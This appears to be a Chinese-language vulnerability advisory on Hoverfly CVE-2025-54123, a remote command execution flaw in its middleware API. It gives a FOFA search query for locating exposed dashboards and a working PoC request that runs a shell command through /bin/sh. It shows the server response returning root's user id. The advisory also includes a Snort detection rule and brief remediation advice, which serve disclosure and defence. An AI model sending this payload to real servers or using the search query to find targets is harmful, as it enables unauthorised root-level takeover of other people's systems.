

Hoverfly-CVE-2025-54123-远程命令执行

Hoverfly-CVE-2025-54123-远程命令执行，攻击者可执行任意命令导致服务器被控。

影响版本

Hoverfly

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: (title="Hoverfly Dashboard" && fid="kq7OPmsJgQHfdO+2tB7kPw==") || icon_hash="1357234275"

POC/EXP:

```
PUT /api/v2/hoverfly/middleware HTTP/1.1
Host:127.0.0.1
Content-Type: application/json
Content-Length: 57

{
  "binary": "/bin/sh",
  "script": "id"
}
```

```
1 HTTP/1.1 422 Unprocessable Entity
2 Date: Thu, 18 Sep 2025 01:27:17 GMT
3 Content-Type: text/plain; charset=utf-8
4 Content-Length: 615
5
6 {
7   "error": "Failed to unmarshal JSON from middleware\nCommand: /bin/sh /tmp/hoverfly/hoverfly_3528289764\nInvalid character 'u' looking for beginning of value\nSTDIN:\n{\"response\": {\n  \"status\": 200,\n  \"body\": \"ok\",\n  \"encodedBody\": false,\n  \"headers\": {\n    \"test_header\": {\n      \"true\": true\n    }\n  }\n},\n  \"request\": {\n    \"path\": \"/v1\",\n    \"method\": \"GET\",\n    \"destination\": \"www.test.com\",\n    \"scheme\": \"http\",\n    \"query\": \"\",\n    \"formData\": null,\n    \"body\": \"\",\n    \"headers\": {\n      \"test_header\": {\n        \"true\": true\n      }\n    }\n}\n}\n\nSTDOUT:\nuid=0(root):gid=0(root):groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"
```

sonrt规则:

```
alert http any any -> $HOME_NET any (
  msg:"Hoverfly - Remote Command Execution via Middleware API (CVE-2025-
54123)";
  flow:to_server,established;
  http.method; content:"PUT";
  http.uri; content:"/api/v2/hoverfly/middleware";
  http.header; content:"Content-Type: application/json";
  http.request_body; content:"\"binary\\":\"/bin/sh\"";
  http.request_body; content:"\"script\\":\"id\"";
  metadata:
    cve CVE-2025-54123,
    service http,
    affected_product "Hoverfly",
    vulnerability_type "Remote Command Execution",
    severity "critical";
  classtype:web-application-attack;
  sid:1000522;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。